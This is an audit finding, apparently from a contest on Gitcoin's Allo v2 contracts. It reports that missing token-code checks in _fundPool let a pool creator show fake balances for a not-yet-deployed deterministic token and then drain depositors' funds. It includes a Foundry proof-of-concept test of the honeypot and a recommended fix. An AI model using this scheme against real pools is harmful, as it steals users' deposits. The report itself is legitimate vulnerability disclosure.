Damaged Cornflower Turkey

high

# Honeypot attack possible because lack of checks in '_fundPool()'
Pool creator can honeypot the funds of users by creating pools with fake balances.
## Vulnerability Detail
A user can fund pools using `_fundPool` in `Allo.sol`. 
```javascript
source:contracts/core/Allo.sol

// findings marked with <=
function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {
        uint256 feeAmount;
        uint256 amountAfterFee = _amount;

        Pool storage pool = pools[_poolId];
        address _token = pool.token;

        if (percentFee > 0) {
            feeAmount = (_amount * percentFee) / getFeeDenominator();
            amountAfterFee -= feeAmount;

	_transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount})); <= // uses SafeTransferLib
        }

        _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); <= // uses SafeTransferLib
        _strategy.increasePoolAmount(amountAfterFee);

        emit PoolFunded(_poolId, amountAfterFee, feeAmount);
    }
```
This function makes use of `SafeTransferLib`. 

However, `SafeTransferLib` does not check if the token is an EOA or not:
```javascript
source: lib/solady/src/utils/SafeTransferLib.sol

L10: /// - For ERC20s, this implementation won't check that a token has code,
L11: ///   responsibility is delegated to the caller.
```

This means funding a pool with a non-existent token will still succeed and the token balance of the pool will be updated with the non-existing tokens, effectively creating a pool with fake tokens. The `getPoolAmount` functions returns the fake balance, which can easily trick users.

Nowadays a lot of tokens are deterministic like the next Curve LP tokens, next tokens to be minted by the Optimism Bridge.

Here's a POC outlining an attack vector:

Add this to import to `Allo.t.sol`:
```javascript
source: test/foundry/core/Allo.t.sol

import {RFPSimpleStrategy} from "../../../contracts/strategies/rfp-simple/RFPSimpleStrategy.sol";
```

POC:
```javascript
source:test/foundry/core/Allo.t.sol

    // put this in test/foundry/core/Allo.t.sol
    // run using:
    // forge test --match-contract AlloTest --match-test test_Honeypot -vvvv
    function test_Honeypot() public {
        // Get the address of a deterministic token.
        // Deterministic tokens use CREATE2 or CREATE3
        // This makes it easy for anyone to predict what the next address will be.
        // The deterministic_token does not exist yet at this stage.
        address deterministic_token = makeAddr("deterministicToken");
        address malicious_user = makeAddr("maliciousUser");

        // Register a profile with the malicious user as owner and manager
        address[] memory pool_manager;
        pool_manager = new address[](1);
        pool_manager[0] = malicious_user;
        bytes32 ppId = _registry_.createProfile(
            1337, "Honeypot", Metadata({protocol: 1, pointer: "HoneyPot4Life"}), malicious_user, pool_manager 
        );

        RFPSimpleStrategy test_strategy = new RFPSimpleStrategy(address(allo()), "RFPSimpleStrategy");

        bytes memory init_data = abi.encode(100, false, false);

        vm.prank(malicious_user);
        allo().createPoolWithCustomStrategy(
            ppId,
            address(test_strategy),
            init_data,
            deterministic_token,
            100_000 * 1e18,
            metadata,
            pool_manager
        );

        // Let's say in 1000 blocks, the non existing token is finally live
        // The malicious user starts to sollicit people to fund this non-profit pool
        vm.warp(block.timestamp + 1000);

        // The deterministic token has now been created!
        // Alice uses the `getPoolAmount()` function to check the balance of the pool.
        // Console logs = 99000000000000000000000 
        address alice = makeAddr("alice");
        vm.startPrank(alice);
        console.log("Amount in Pool: %s",test_strategy.getPoolAmount());

        // Alice funds 10000 * 1e18 tokens. 
        allo().fundPool(1, 100_00 * 1e18);
        vm.stopPrank();
        
        // The malicious user can just call the withdraw function now and take the tokens
        // that Alice deposited. Honeypot succeeded.
        vm.startPrank(malicious_user);
        test_strategy.setPoolActive(false);
        test_strategy.withdraw(100_00 * 1e18);
    }
```
This is just one of the scenarios that is possible with deterministic tokens. There are also deterministic tokens on L2's. The team has stated that they want to launch on all EVM chains + zkSync Era.

## Impact
It is very easy for a malicious user to set traps, which can easily lead to a person losing their funds, especially since the `getPoolAmount()` returns the fake balance.

## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520
## Tool used
Manual Review

## Recommendation
Create a check that checks if the token used to create a pool is not an EOA.